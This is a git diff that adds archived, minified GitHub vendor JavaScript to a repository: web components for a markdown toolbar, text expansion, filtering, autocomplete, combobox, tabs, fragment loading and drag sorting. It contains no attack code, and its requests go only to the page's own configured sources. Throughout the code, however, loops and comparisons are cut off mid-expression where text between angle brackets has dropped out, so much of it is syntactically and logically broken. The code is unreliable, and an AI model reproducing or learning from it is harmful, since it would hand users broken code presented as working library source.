`}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof 